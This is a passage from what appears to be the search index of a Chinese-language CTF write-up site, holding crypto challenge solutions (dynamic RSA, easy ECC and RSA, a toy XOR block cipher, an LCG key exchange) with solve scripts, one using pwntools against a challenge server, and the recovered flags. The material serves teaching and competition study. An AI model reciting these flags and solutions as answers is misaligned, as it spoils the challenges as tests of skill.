_ in range ( 750 )): gcd_res [ i ] = [ '' ] for j in range ( 1 , i ): gcd_res [ i ] . append ( gcd ( j , i )) conn = pwn . remote ( 'litctf.live' , 31792 ) random . setstate ( state ) mo , rem = [], [] pre_crt = 0 while True : conn . sendafter ( 'Encrypt Message (2): ' , '2 \\n ' ) test_e = nextprime ( random . randint ( 1 , 100000 )) res = conn . recvline () . decode () . strip ()[ 7 :] conn . sendafter ( 'Enter Message:' , '0 \\n ' ) if len ( res ) == 1 and test_e not in mo : mo . append ( Integer ( test_e )) rem . append ( Integer ( 0 )) cur = crt ( rem , mo ) if cur == pre_crt : break pre_crt = cur if test_e in gcd_res and test_e not in mo and gcd_res [ test_e ] . count ( res [ 1 :]) == 1 : mo . append ( Integer ( test_e )) rem . append ( Integer ( gcd_res [ test_e ] . index ( res [ 1 :]))) cur = crt ( rem , mo ) if cur == pre_crt : break pre_crt = cur print ( pre_crt ) d = inverse ( e , pre_crt ) conn . sendafter ( 'Encrypt Message (2): ' , '1 \\n ' ) conn . sendafter ( 'Enter Private Key:' , f ' { d } \\n ' ) conn . interactive ()","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/dynamic_rsa/#flag","text":"LITCTF{0op5i3_dyn4m1c_n0t_gr3at_1t_s33m5}","title":"Flag"},{"location":"crypto/easy_ecc/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u5df2\u77e5\u692d\u5706\u7fa4 \\(E_p(a,b)\\) \u3001\u751f\u6210\u539f\u70b9 \\(G\\) \u548c\u79c1\u94a5 \\(k\\) \uff0c\u516c\u94a5\u4e3a \\(kG\\) \u4f7f\u7528\u5de5\u5177 SageMath \uff0c\u7f16\u5199\u811a\u672c ecc_calc #!/usr/bin/env sage from sage.all import * p, a, b = 15424654874903 , 16546484 , 4548674875 G = ( 6478678675 , 5636379357093 ) k = 546768 F = GF ( p ) # \u6709\u9650\u57df E = EllipticCurve ( F, [ a, b ]) G = E.point ( G ) # \u5f97\u5230\u5728\u6709\u9650\u57df\u692d\u5706\u66f2\u7ebf\u4e0a\u5bf9\u5e94\u70b9\u7c7b\u7684\u5bf9\u8c61 Pub = k * G print ( Pub ) \u8fd0\u884c\u811a\u672c\u5f97\u5230\u70b9\u7684\u5750\u6807\uff0cFlag \u4e3a \\(x\u3001y\\) \u7684\u548c $ ./ecc_calc ( 13957031351290 : 5520194834100 : 1 ) \u53c2\u8003\u8d44\u6599 \u00b6 Points on elliptic curves \u2014 Sage 9.1 Reference Manual: Curves Points \u2014 Sage 9.1 Reference Manual: 2D Graphics","title":"easy_ECC"},{"location":"crypto/easy_ecc/#_1","text":"\u5df2\u77e5\u692d\u5706\u7fa4 \\(E_p(a,b)\\) \u3001\u751f\u6210\u539f\u70b9 \\(G\\) \u548c\u79c1\u94a5 \\(k\\) \uff0c\u516c\u94a5\u4e3a \\(kG\\) \u4f7f\u7528\u5de5\u5177 SageMath \uff0c\u7f16\u5199\u811a\u672c ecc_calc #!/usr/bin/env sage from sage.all import * p, a, b = 15424654874903 , 16546484 , 4548674875 G = ( 6478678675 , 5636379357093 ) k = 546768 F = GF ( p ) # \u6709\u9650\u57df E = EllipticCurve ( F, [ a, b ]) G = E.point ( G ) # \u5f97\u5230\u5728\u6709\u9650\u57df\u692d\u5706\u66f2\u7ebf\u4e0a\u5bf9\u5e94\u70b9\u7c7b\u7684\u5bf9\u8c61 Pub = k * G print ( Pub ) \u8fd0\u884c\u811a\u672c\u5f97\u5230\u70b9\u7684\u5750\u6807\uff0cFlag \u4e3a \\(x\u3001y\\) \u7684\u548c $ ./ecc_calc ( 13957031351290 : 5520194834100 : 1 )","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/easy_ecc/#_2","text":"Points on elliptic curves \u2014 Sage 9.1 Reference Manual: Curves Points \u2014 Sage 9.1 Reference Manual: 2D Graphics","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/easy_rsa/","text":"\u9898\u76ee \u00b6 \u5728\u4e00\u6b21 RSA \u5bc6\u94a5\u5bf9\u751f\u6210\u4e2d\uff0c\u5047\u8bbe p = 473398607161\uff0cq = 4511491\uff0ce = 17 \u6c42\u89e3\u51fa d \u89e3\u9898\u601d\u8def \u00b6 \u4e3b\u8981\u662f\u8bb0\u5f55\u4e00\u4e0b\u6c42\u9006\u5143\u7684\u677f\u5b50(\u03a6\u02cb\u03c9\u02ca\u03a6) def exgcd ( a , b ): if b == 0 : return 1 , 0 , a else : x , y , m = exgcd ( b , a % b ) x , y = y , ( x - ( a // b ) * y ) return x , y , m def modinv ( x , p ): return exgcd ( x , p )[ 0 ] % p p = 473398607161 q = 4511491 e = 17 fn = ( p - 1 ) * ( q - 1 ) print ( modinv ( e , fn ))","title":"easy_RSA"},{"location":"crypto/easy_rsa/#_1","text":"\u5728\u4e00\u6b21 RSA \u5bc6\u94a5\u5bf9\u751f\u6210\u4e2d\uff0c\u5047\u8bbe p = 473398607161\uff0cq = 4511491\uff0ce = 17 \u6c42\u89e3\u51fa d","title":"\u9898\u76ee"},{"location":"crypto/easy_rsa/#_2","text":"\u4e3b\u8981\u662f\u8bb0\u5f55\u4e00\u4e0b\u6c42\u9006\u5143\u7684\u677f\u5b50(\u03a6\u02cb\u03c9\u02ca\u03a6) def exgcd ( a , b ): if b == 0 : return 1 , 0 , a else : x , y , m = exgcd ( b , a % b ) x , y = y , ( x - ( a // b ) * y ) return x , y , m def modinv ( x , p ): return exgcd ( x , p )[ 0 ] % p p = 473398607161 q = 4511491 e = 17 fn = ( p - 1 ) * ( q - 1 ) print ( modinv ( e , fn ))","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/easyxor/","text":"\u9898\u76ee \u00b6 Block cipher is used frequently. easyxor.py #! /usr/bin/env python from Crypto.Util.number import bytes_to_long , long_to_bytes from random import randint , getrandbits def shift ( m , k , c ): if k < 0 : return m ^ m >> ( - k ) & c return m ^ m << k & c def convert ( m , key ): c_list = [ 0x37386180af9ae39e , 0xaf754e29895ee11a , 0x85e1a429a2b7030c , 0x964c5a89f6d3ae8c ] for t in range ( 4 ): m = shift ( m , key [ t ], c_list [ t ]) return m def encrypt ( m , k , iv , mode = 'CBC' ): assert len ( m ) % 8 == 0 num = len ( m ) // 8 groups = [] for i in range ( num ): groups . append ( bytes_to_long ( m [ i * 8 : ( i + 1 ) * 8 ])) last = iv cipher = [] if mode == 'CBC' : for eve in groups : cur = eve ^ last cur_c = convert ( cur , k ) cipher . append ( cur_c ) last = cur_c elif mode == 'OFB' : for eve in groups : cur_c = convert ( last , k ) cipher . append ( cur_c ^ eve ) last = cur_c else : print 'Not supported now!' return '' . join ([ hex ( eve )[ 2 :] . strip ( 'L' ) . rjust ( 16 , '0' ) for eve in cipher ]) if __name__ == '__main__' : from secret import flag if len ( flag ) % 8 != 0 : flag += '$' * ( 8 - len ( flag ) % 8 ) length = len ( flag ) num = length // 8 keys = [ randint ( - 32 , 32 ) for _ in range ( 4 )] IV = getrandbits ( 64 ) front = flag [: length // 2 ] back = flag [ length // 2 :] cipher1 = encrypt ( front , keys , IV , mode = 'OFB' ) cipher2 = encrypt ( back , keys , IV ) print cipher1 + cipher2 \u89e3\u9898\u601d\u8def \u00b6 \u6d89\u53ca\u5230\u4e24\u79cd\u5206\u7ec4\u5bc6\u7801\u5de5\u4f5c\u6a21\u5f0f\uff1a CBC \u548c OFB \u65e0\u8bba CBC \u8fd8\u662f OFB \u90fd\u53ef\u4ee5\u4ece\u7b2c\u4e8c\u7ec4\u5bc6\u6587\u5f00\u59cb\u89e3\u5bc6\uff08\u7531\u7b2c\u4e00\u7ec4\u5bc6\u6587\u63a8\u51fa\u7b2c\u4e8c\u7ec4 IV\uff09\uff0c\u671f\u95f4\u53ef\u7206\u7834\u51fa keys CBC -> \u4f7f\u7528\u7b2c\u4e00\u7ec4\u5bc6\u6587\u4f5c\u4e3a\u4ece\u7b2c\u4e8c\u7ec4\u5f00\u59cb\u89e3\u5bc6\u7684 IV\uff0c\u7531\u4e8e Block Cipher Decryption \uff0c\u9700\u8981\u7f16\u5199 convert \u51fd\u6570\u7684\u9006\u8fc7\u7a0b OFB -> \u6839\u636e Flag \u683c\u5f0f\u53ef\u77e5\u7b2c\u4e00\u7ec4\u660e\u6587\u4e3a ByteCTF{ \uff0c\u4e0e\u7b2c\u4e00\u7ec4\u5bc6\u6587\u5f02\u6216\u5f97\u4ece\u7b2c\u4e8c\u7ec4\u5f00\u59cb\u89e3\u5bc6\u7684 IV \u7531\u4e8e\u89e3\u5bc6\u5fc5\u987b\u4f7f\u7528 (\u2565\u03c9\u2565)\uff0c\u9006\u4e00\u4e0b convert() \u51fd\u6570\uff0c\u91cd\u70b9\u5728\u9006 shift() \u51fd\u6570\u4e0a def unconvert ( m , key ): c_list = [ 0x37386180af9ae39e , 0xaf754e29895ee11a , 0x85e1a429a2b7030c , 0x964c5a89f6d3ae8c ] for t in range ( 3 , - 1 , - 1 ): m = unshift ( m , key [ t ], c_list [ t ]) return m shift() \u51fd\u6570\u4e2d\u79fb\u4f4d\u5bfc\u81f4\u90e8\u5206\u4f4d\u6cc4\u6f0f\uff08\u5f53 \\(k == 0\\) \u65f6\u65e0\u6cd5\u9006\u63a8\uff09 \u5f53 \\(k > 0\\) \u65f6\uff0c\u7ed3\u679c\u4e8c\u8fdb\u5236\u5404\u4e2a\u4f4d\u4f9d\u6b21\u4e3a \\(m_0 \\oplus m_k \\& c_{0}\uff0cm_1 \\oplus m_{k+1} \\& c_{1}\uff0c...\uff0cm_{63-k} \\oplus m_{63} \\& c_{63-k}\uff0cm_{64-k}\uff0cm_{65-k}\uff0c...\uff0cm_{63}\\) \u5f53 \\(k < 0\\) \u65f6\uff0c\u7ed3\u679c\u4e8c\u8fdb\u5236\u5404\u4e2a\u4f4d\u4f9d\u6b21\u4e3a \\(m_0\uff0cm_1\uff0c...\uff0cm_{-k} \\oplus m_0 \\& c_{-k}\uff0cm_{-k+1} \\oplus m_1 \\& c_{-k+1}\uff0c...\uff0cm_{63} \\oplus m_{63+k} \\& c_{63}\\) unshift() \u51fd\u6570 def unshift ( m , k , c ): if k == 0 : return 0 # \u8fd4\u56de\u4efb\u610f\u503c\u5373\u53ef res = m if k < 0 : for _ in range ( 64 // ( - k )): # \u6bcf\u4e00\u8f6e\u53ef\u4ee5\u8ba1\u7b97 k \u4f4d res = m ^ res >> ( - k ) & c else : for _ in range ( 64 // k ): res = m ^ res << k & c assert m == shift ( res , k , c ) return res \u89e3\u5bc6\u51fd\u6570 decrypt() \u6539\u5199\u81ea encrypt() def decrypt ( c , k , iv , mode = 'CBC' ): assert len ( c ) % 16 == 0 num = len ( c ) // 16 groups : list = [] for i in range ( num ): groups . append ( int ( c [ i * 16 : ( i + 1 ) * 16 ], 16 )) last : int = iv plain = [] if mode == 'CBC' : for eve in groups : cur = unconvert ( eve , k ) plain . append ( cur ^ last ) last = eve elif mode == 'OFB' : for eve in groups : cur = convert ( last , k ) plain . append ( cur ^ eve ) last = cur return '' . join ([ long_to_bytes ( eve ) . decode () for eve in plain ]) \u56db\u91cd\u5faa\u73af\u7206\u7834\u5bc6\u94a5\uff0c\u901a\u8fc7 OFB \u6216 CBC \u6a21\u5f0f\u90fd\u53ef\u4ee5\uff0c\u83b7\u5f97\u5bc6\u94a5\u6570\u7ec4\uff1a [-12, 26, -3, -31] cipher = \"89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee748e0da3c989da2bba657b912\" length = len ( cipher ) cipher1 = cipher [: length // 2 ] cipher2 = cipher [ length // 2 :] for k1 in range ( - 32 , 33 ): for k2 in range ( - 32 , 33 ): for k3 in range ( - 32 , 33 ): for k4 in range ( - 32 , 33 ): keys = [ k1 , k2 , k3 , k4 ] try : res = decrypt ( cipher1 [ 16 :], keys , int ( cipher1 [: 16 ], 16 ) ^ bytes_to_long ( b \"ByteCTF{\" ), 'OFB' ) # res = decrypt(cipher2[16:], keys, int(cipher2[:16], 16)) flag = 1 for i in res : if ord ( i ) not in range ( 32 , 127 ): # \u8fc7\u6ee4\u542b\u4e0d\u53ef\u6253\u5370\u5b57\u7b26\u5b57\u7b26\u4e32 flag = 0 if flag : print ( res , keys ) except : continue \u4ece\u800c\u53ef\u63a8\u51fa IV \u5e76\u8ba1\u7b97 Flag keys = [ - 12 , 26 , - 3 , - 31 ] out = bytes_to_long ( b \"ByteCTF{\" ) ^ int ( cipher1 [: 16 ], 16 ) iv = unconvert ( out , keys ) print ( decrypt ( cipher1 , keys , iv , 'OFB' ) + decrypt ( cipher2 , keys , iv )) # ByteCTF{5831a241s-f30980q535af-2156547475u2t}$$$ \u53c2\u8003\u8d44\u6599 \u00b6 \u5206\u7ec4\u6a21\u5f0f - CTF Wiki","title":"easyxor"},{"location":"crypto/easyxor/#_1","text":"Block cipher is used frequently. easyxor.py #! /usr/bin/env python from Crypto.Util.number import bytes_to_long , long_to_bytes from random import randint , getrandbits def shift ( m , k , c ): if k < 0 : return m ^ m >> ( - k ) & c return m ^ m << k & c def convert ( m , key ): c_list = [ 0x37386180af9ae39e , 0xaf754e29895ee11a , 0x85e1a429a2b7030c , 0x964c5a89f6d3ae8c ] for t in range ( 4 ): m = shift ( m , key [ t ], c_list [ t ]) return m def encrypt ( m , k , iv , mode = 'CBC' ): assert len ( m ) % 8 == 0 num = len ( m ) // 8 groups = [] for i in range ( num ): groups . append ( bytes_to_long ( m [ i * 8 : ( i + 1 ) * 8 ])) last = iv cipher = [] if mode == 'CBC' : for eve in groups : cur = eve ^ last cur_c = convert ( cur , k ) cipher . append ( cur_c ) last = cur_c elif mode == 'OFB' : for eve in groups : cur_c = convert ( last , k ) cipher . append ( cur_c ^ eve ) last = cur_c else : print 'Not supported now!' return '' . join ([ hex ( eve )[ 2 :] . strip ( 'L' ) . rjust ( 16 , '0' ) for eve in cipher ]) if __name__ == '__main__' : from secret import flag if len ( flag ) % 8 != 0 : flag += '$' * ( 8 - len ( flag ) % 8 ) length = len ( flag ) num = length // 8 keys = [ randint ( - 32 , 32 ) for _ in range ( 4 )] IV = getrandbits ( 64 ) front = flag [: length // 2 ] back = flag [ length // 2 :] cipher1 = encrypt ( front , keys , IV , mode = 'OFB' ) cipher2 = encrypt ( back , keys , IV ) print cipher1 + cipher2","title":"\u9898\u76ee"},{"location":"crypto/easyxor/#_2","text":"\u6d89\u53ca\u5230\u4e24\u79cd\u5206\u7ec4\u5bc6\u7801\u5de5\u4f5c\u6a21\u5f0f\uff1a CBC \u548c OFB \u65e0\u8bba CBC \u8fd8\u662f OFB \u90fd\u53ef\u4ee5\u4ece\u7b2c\u4e8c\u7ec4\u5bc6\u6587\u5f00\u59cb\u89e3\u5bc6\uff08\u7531\u7b2c\u4e00\u7ec4\u5bc6\u6587\u63a8\u51fa\u7b2c\u4e8c\u7ec4 IV\uff09\uff0c\u671f\u95f4\u53ef\u7206\u7834\u51fa keys CBC -> \u4f7f\u7528\u7b2c\u4e00\u7ec4\u5bc6\u6587\u4f5c\u4e3a\u4ece\u7b2c\u4e8c\u7ec4\u5f00\u59cb\u89e3\u5bc6\u7684 IV\uff0c\u7531\u4e8e Block Cipher Decryption \uff0c\u9700\u8981\u7f16\u5199 convert \u51fd\u6570\u7684\u9006\u8fc7\u7a0b OFB -> \u6839\u636e Flag \u683c\u5f0f\u53ef\u77e5\u7b2c\u4e00\u7ec4\u660e\u6587\u4e3a ByteCTF{ \uff0c\u4e0e\u7b2c\u4e00\u7ec4\u5bc6\u6587\u5f02\u6216\u5f97\u4ece\u7b2c\u4e8c\u7ec4\u5f00\u59cb\u89e3\u5bc6\u7684 IV \u7531\u4e8e\u89e3\u5bc6\u5fc5\u987b\u4f7f\u7528 (\u2565\u03c9\u2565)\uff0c\u9006\u4e00\u4e0b convert() \u51fd\u6570\uff0c\u91cd\u70b9\u5728\u9006 shift() \u51fd\u6570\u4e0a def unconvert ( m , key ): c_list = [ 0x37386180af9ae39e , 0xaf754e29895ee11a , 0x85e1a429a2b7030c , 0x964c5a89f6d3ae8c ] for t in range ( 3 , - 1 , - 1 ): m = unshift ( m , key [ t ], c_list [ t ]) return m shift() \u51fd\u6570\u4e2d\u79fb\u4f4d\u5bfc\u81f4\u90e8\u5206\u4f4d\u6cc4\u6f0f\uff08\u5f53 \\(k == 0\\) \u65f6\u65e0\u6cd5\u9006\u63a8\uff09 \u5f53 \\(k > 0\\) \u65f6\uff0c\u7ed3\u679c\u4e8c\u8fdb\u5236\u5404\u4e2a\u4f4d\u4f9d\u6b21\u4e3a \\(m_0 \\oplus m_k \\& c_{0}\uff0cm_1 \\oplus m_{k+1} \\& c_{1}\uff0c...\uff0cm_{63-k} \\oplus m_{63} \\& c_{63-k}\uff0cm_{64-k}\uff0cm_{65-k}\uff0c...\uff0cm_{63}\\) \u5f53 \\(k < 0\\) \u65f6\uff0c\u7ed3\u679c\u4e8c\u8fdb\u5236\u5404\u4e2a\u4f4d\u4f9d\u6b21\u4e3a \\(m_0\uff0cm_1\uff0c...\uff0cm_{-k} \\oplus m_0 \\& c_{-k}\uff0cm_{-k+1} \\oplus m_1 \\& c_{-k+1}\uff0c...\uff0cm_{63} \\oplus m_{63+k} \\& c_{63}\\) unshift() \u51fd\u6570 def unshift ( m , k , c ): if k == 0 : return 0 # \u8fd4\u56de\u4efb\u610f\u503c\u5373\u53ef res = m if k < 0 : for _ in range ( 64 // ( - k )): # \u6bcf\u4e00\u8f6e\u53ef\u4ee5\u8ba1\u7b97 k \u4f4d res = m ^ res >> ( - k ) & c else : for _ in range ( 64 // k ): res = m ^ res << k & c assert m == shift ( res , k , c ) return res \u89e3\u5bc6\u51fd\u6570 decrypt() \u6539\u5199\u81ea encrypt() def decrypt ( c , k , iv , mode = 'CBC' ): assert len ( c ) % 16 == 0 num = len ( c ) // 16 groups : list = [] for i in range ( num ): groups . append ( int ( c [ i * 16 : ( i + 1 ) * 16 ], 16 )) last : int = iv plain = [] if mode == 'CBC' : for eve in groups : cur = unconvert ( eve , k ) plain . append ( cur ^ last ) last = eve elif mode == 'OFB' : for eve in groups : cur = convert ( last , k ) plain . append ( cur ^ eve ) last = cur return '' . join ([ long_to_bytes ( eve ) . decode () for eve in plain ]) \u56db\u91cd\u5faa\u73af\u7206\u7834\u5bc6\u94a5\uff0c\u901a\u8fc7 OFB \u6216 CBC \u6a21\u5f0f\u90fd\u53ef\u4ee5\uff0c\u83b7\u5f97\u5bc6\u94a5\u6570\u7ec4\uff1a [-12, 26, -3, -31] cipher = \"89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee748e0da3c989da2bba657b912\" length = len ( cipher ) cipher1 = cipher [: length // 2 ] cipher2 = cipher [ length // 2 :] for k1 in range ( - 32 , 33 ): for k2 in range ( - 32 , 33 ): for k3 in range ( - 32 , 33 ): for k4 in range ( - 32 , 33 ): keys = [ k1 , k2 , k3 , k4 ] try : res = decrypt ( cipher1 [ 16 :], keys , int ( cipher1 [: 16 ], 16 ) ^ bytes_to_long ( b \"ByteCTF{\" ), 'OFB' ) # res = decrypt(cipher2[16:], keys, int(cipher2[:16], 16)) flag = 1 for i in res : if ord ( i ) not in range ( 32 , 127 ): # \u8fc7\u6ee4\u542b\u4e0d\u53ef\u6253\u5370\u5b57\u7b26\u5b57\u7b26\u4e32 flag = 0 if flag : print ( res , keys ) except : continue \u4ece\u800c\u53ef\u63a8\u51fa IV \u5e76\u8ba1\u7b97 Flag keys = [ - 12 , 26 , - 3 , - 31 ] out = bytes_to_long ( b \"ByteCTF{\" ) ^ int ( cipher1 [: 16 ], 16 ) iv = unconvert ( out , keys ) print ( decrypt ( cipher1 , keys , iv , 'OFB' ) + decrypt ( cipher2 , keys , iv )) # ByteCTF{5831a241s-f30980q535af-2156547475u2t}$$$","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/easyxor/#_3","text":"\u5206\u7ec4\u6a21\u5f0f - CTF Wiki","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/exchanged/","tags":["algebra"],"text":"#algebra .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 you could make an exchange out of this exchanged.py from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad from hashlib import sha256 from secrets import randbelow p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847 a = randbelow ( p ) b = randbelow ( p ) s = randbelow ( p ) print ( \"p =\" , p ) print ( \"a =\" , a ) print ( \"b =\" , b ) print ( \"s =\" , s ) a_priv = randbelow ( p ) b_priv = randbelow ( p ) def f ( s ): return ( a * s + b ) % p def mult ( s , n ): for _ in range ( n ): s = f ( s ) return s A = mult ( s , a_priv ) B = mult ( s , b_priv ) print ( \"A =\" , A ) print ( \"B =\" , B ) shared = mult ( A , b_priv ) assert mult ( B , a_priv ) == shared flag = open ( \"flag.txt\" , \"rb\" ) . read () key = sha256 ( long_to_bytes ( shared )) . digest ()[: 16 ] iv = long_to_bytes ( randint ( 0 , 2 ** 128 )) cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( iv . hex () + cipher . encrypt ( pad ( flag , 16 )) . hex ()) output.txt p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847 a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905 b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917 s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763 A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628 B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273 e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e \u89e3\u9898\u601d\u8def \u00b6 \\(f(x)=ax+b\\ (mod\\ p)\\) \uff0c\u5176\u4e2d \\(p,a,b\\) \u5747\u5df2\u77e5 \\(A, B\\) \u5206\u522b\u4e3a \\(s\\) \u7ecf\u8fc7 \\(a_{priv}, b_{priv}\\) \u6b21 \\(f\\) \u8fd0\u7b97\u540e\u7684\u7ed3\u679c\uff0c\u9700\u8981\u6839\u636e \\(A,B\\) \u6c42 \\(s\\) \u7ecf\u8fc7 \\(a_{priv}+b_{priv}\\) \u6b21 \\(f\\) \u8fd0\u7b97\u540e\u7684\u7ed3\u679c \\(mult(s, n)=a^{n}s+b(a^{n-1} + a^{n-2} + \\dotsb + 1)\\) \\(ax+b\\) \u7684\u5f62\u5f0f\u4e0d\u80fd\u76f4\u63a5 \\(A\\cdot B\\) \u6765\u6c42 shared \uff0c\u53ef\u8fdb\u884c\u8f6c\u6362\uff0c\u8bbe\u5b58\u5728 \\(t\\) \u4f7f\u5f97 \\(a(x+t) = f(x) + t\\) \uff0c\u89e3\u5f97 \\(t = \\frac{b}{a-1}\\) \\[\\begin{equation} \\begin{split} f(mult(s,n-1))+t &= a(mult(s,n-1)+t) \\\\ &=a(a^{n-1}s+b\\cdot(a^{n-2}+a^{n-3}+\\dotsb+1)+t) \\\\ &=a(a^{n-1}s+t\\cdot(a-1)\\cdot(a^{n-2}+a^{n-3}+\\dotsb+1)+t) \\\\ &=a(a^{n-1}s+t\\cdot(a^{n-1}-1)+t) \\\\ &=a^n(s+t) \\end{split} \\end{equation}\\] \u90a3\u4e48\uff0c \\(A+t=a^{a_{priv}}(s+t),B+t=a^{b_{priv}}(s+t)\\) \uff0c shared \u5373 \\(mult(s,a_{priv}+b_{priv})=a^{a_{priv}+b_{priv}}(s+t)-t=\\frac{(A+t)(B+t)}{s+t}-t\\) from Crypto.Util.number import long_to_bytes , inverse from Crypto.Cipher import AES from hashlib import sha256 * vars , enc = open ( \"output.txt\" ) . readlines () for v in vars : exec ( v ) iv , ct = bytes . fromhex ( enc [: 32 ]), bytes . fromhex ( enc [ 32 :]) t = b * inverse ( a - 1 , p ) % p shared = (( A + t ) * ( B + t ) * inverse ( s + t , p ) - t ) % p key = sha256 ( long_to_bytes ( shared )) . digest ()[: 16 ] cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( cipher . decrypt ( ct )) Flag \u00b6 corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}","title":"exchanged"},{"location":"crypto/exchanged/#_1","text":"you could make an exchange out of this exchanged.py from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad from hashlib import sha256 from secrets import randbelow p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847 a = randbelow ( p ) b = randbelow ( p ) s = randbelow ( p ) print ( \"p =\" , p ) print ( \"a =\" , a ) print ( \"b =\" , b ) print ( \"s =\" , s ) a_priv = randbelow ( p ) b_priv = randbelow ( p ) def f ( s ): return ( a * s + b ) % p def mult ( s , n ): for _ in range ( n ): s = f ( s ) return s A = mult ( s , a_priv ) B = mult ( s , b_priv ) print ( \"A =\" , A ) print ( \"B =\" , B ) shared = mult ( A , b_priv ) assert mult ( B , a_priv ) == shared flag = open ( \"flag.txt\" , \"rb\" ) . read () key = sha256 ( long_to_bytes ( shared )) . digest ()[: 16 ] iv = long_to_bytes ( randint ( 0 , 2 ** 128 )) cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( iv . hex () + cipher . encrypt ( pad ( flag , 16 )) . hex ()) output.txt p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847 a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905 b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917 s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763 A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628 B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273 e0364f9f55fc27fc46f3ab1dc9db48fa482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e","title":"\u9898\u76ee"},{"location":"crypto/exchanged/#_2","text":"\\(f(x)=ax+b\\ (mod\\ p)\\) \uff0c\u5176\u4e2d \\(p,a,b\\) \u5747\u5df2\u77e5 \\(A, B\\) \u5206\u522b\u4e3a \\(s\\) \u7ecf\u8fc7 \\(a_{priv}, b_{priv}\\) \u6b21 \\(f\\) \u8fd0\u7b97\u540e\u7684\u7ed3\u679c\uff0c\u9700\u8981\u6839\u636e \\(A,B\\) \u6c42 \\(s\\) \u7ecf\u8fc7 \\(a_{priv}+b_{priv}\\) \u6b21 \\(f\\) \u8fd0\u7b97\u540e\u7684\u7ed3\u679c \\(mult(s, n)=a^{n}s+b(a^{n-1} + a^{n-2} + \\dotsb + 1)\\) \\(ax+b\\) \u7684\u5f62\u5f0f\u4e0d\u80fd\u76f4\u63a5 \\(A\\cdot B\\) \u6765\u6c42 shared \uff0c\u53ef\u8fdb\u884c\u8f6c\u6362\uff0c\u8bbe\u5b58\u5728 \\(t\\) \u4f7f\u5f97 \\(a(x+t) = f(x) + t\\) \uff0c\u89e3\u5f97 \\(t = \\frac{b}{a-1}\\) \\[\\begin{equation} \\begin{split} f(mult(s,n-1))+t &= a(mult(s,n-1)+t) \\\\ &=a(a^{n-1}s+b\\cdot(a^{n-2}+a^{n-3}+\\dotsb+1)+t) \\\\ &=a(a^{n-1}s+t\\cdot(a-1)\\cdot(a^{n-2}+a^{n-3}+\\dotsb+1)+t) \\\\ 